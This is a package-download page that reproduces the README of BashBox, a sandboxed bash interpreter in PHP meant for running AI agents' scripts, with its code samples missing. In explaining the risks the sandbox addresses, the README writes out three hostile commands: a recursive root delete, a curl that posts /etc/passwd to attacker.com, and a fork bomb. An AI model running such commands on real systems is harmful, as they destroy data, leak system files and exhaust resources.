Download the PHP package shipfastlabs/bashbox without Composer

On this page you can find all versions of the php package shipfastlabs/bashbox. It is possible to download/install these versions without Composer. Possible dependencies are resolved automatically.

FAQ

After the download, you have to make one include require_once('vendor/autoload.php');. After that you have to import the classes with use statements.

Example:
If you use only one package a project is not needed. But if you use more then one package, without a project it is not possible to import the classes with use statements.

In general, it is recommended to use always a project to download your libraries. In an application normally there is more than one library needed.
Some PHP packages are not free to download and because of that hosted in private repositories. In this case some credentials are needed to access such packages. Please use the auth.json textarea to insert credentials, if a package is coming from a private repository. You can look here for more information.

  • Some hosting areas are not accessible by a terminal or SSH. Then it is not possible to use Composer.
  • To use Composer is sometimes complicated. Especially for beginners.
  • Composer needs much resources. Sometimes they are not available on a simple webspace.
  • If you are using private repositories you don't need to share your credentials. You can set up everything on our site and then you provide a simple download link to your team member.
  • Simplify your Composer build process. Use our own command line tool to download the vendor folder as binary. This makes your build process faster and you don't need to expose your credentials for private repositories.
Please rate this library. Is it a good library?

Informations about the package bashbox

GitHub Workflow Status (master) Total Downloads Latest Version License

BashBox is a sandboxed bash interpreter for AI agents, written in pure PHP 8.4+. It does not use proc_open, exec, or shell_exec. Every command is a PHP class, every file lives in a virtual filesystem, and every execution has hard limits.

Requires PHP 8.4+

Why BashBox?

Imagine you are building an AI coding assistant. A user asks: "Can you analyze my logs and find all error messages from the last hour?"

Your AI generates a bash script:

The problem: Running user-generated bash code on your servers is dangerous. One malicious script could delete critical files (rm -rf /), exfiltrate sensitive data (curl -d @/etc/passwd attacker.com), launch denial-of-service attacks (:(){ :|:& };:), or access internal network resources (SSRF attacks).

Traditional solutions use containers or VMs, but those are slow, resource-heavy, and complex to orchestrate.

BashBox takes a different approach. It implements a complete bash interpreter in pure PHP with zero system calls. Think of it as a "bash emulator" that gives you:

Perfect for AI agents, code execution platforms, CI/CD systems, or anywhere you need to run untrusted bash scripts safely.

Installation

Install BashBox using Composer:

Usage Examples

Basic Script Execution

Variables and Pipes

Write and Read Files

Pre-loaded Files

Environment Variables

Control Flow

Functions

Stdin

Execution Limits

Custom Commands

Filesystem Backends

BashBox ships with four filesystem backends:

All backends implement the same FileSystemInterface, including:

Backend behavior:

Example:

Network Access

Network is off by default. Enable it by passing a NetworkConfig:

Unrestricted Network Access

For scenarios where you need full internet access without URL or method restrictions, use the dangerouslyAllowFullInternetAccess option:

⚠️ SECURITY WARNING: The dangerouslyAllowFullInternetAccess option disables URL prefix and HTTP method restrictions. Only use this in trusted environments where you control the input. SSRF protection (denyPrivateRanges) is still applied unless explicitly disabled.

When network is configured, the curl command becomes available. Without it, curl does not exist.

Sandbox API

A simpler API for quick use:

Available Commands

BashBox includes 35+ built-in commands:

Category Commands
Output echo, printf, cat, head, tail, tee
Files ls, pwd, mkdir, rm, cp, mv, touch, find
Text grep, sort, uniq, wc, cut, tr, sed, rev
Utils xargs, env, printenv, basename, dirname, seq
Info date, which, whoami, hostname, tree, test
Encoding base64
Network curl (only when network is configured)
Builtins true, false

Shell builtins: cd, export, unset, local, set, shopt, source, eval, declare, read, break, continue, return, exit, shift, getopts, let, mapfile

Security

BashBox is built for untrusted input:

Contributing

Getting Started

Clone the repo and install dependencies:

Running Tests

BashBox uses Pest for testing, PHPStan for static analysis, Pint for code style, Rector for automated refactoring, and Peck for typo checking.

Run everything at once:

Or run each tool individually:

To auto-fix code style and apply refactors:

Before Submitting a PR

Make sure the full suite passes:

This runs lint, static analysis, tests, and typo checking — in that order. All four must pass.


BashBox was created by Pushpak Chhajed under the MIT license.


All versions of bashbox with dependencies

PHP Build Version
Package Version
Requires php Version ^8.4.0
Composer command for our command line client (download client) This client runs in each environment. You don't need a specific PHP version etc. The first 20 API calls are free. Standard composer command

The package shipfastlabs/bashbox contains the following files

Loading the files please wait ...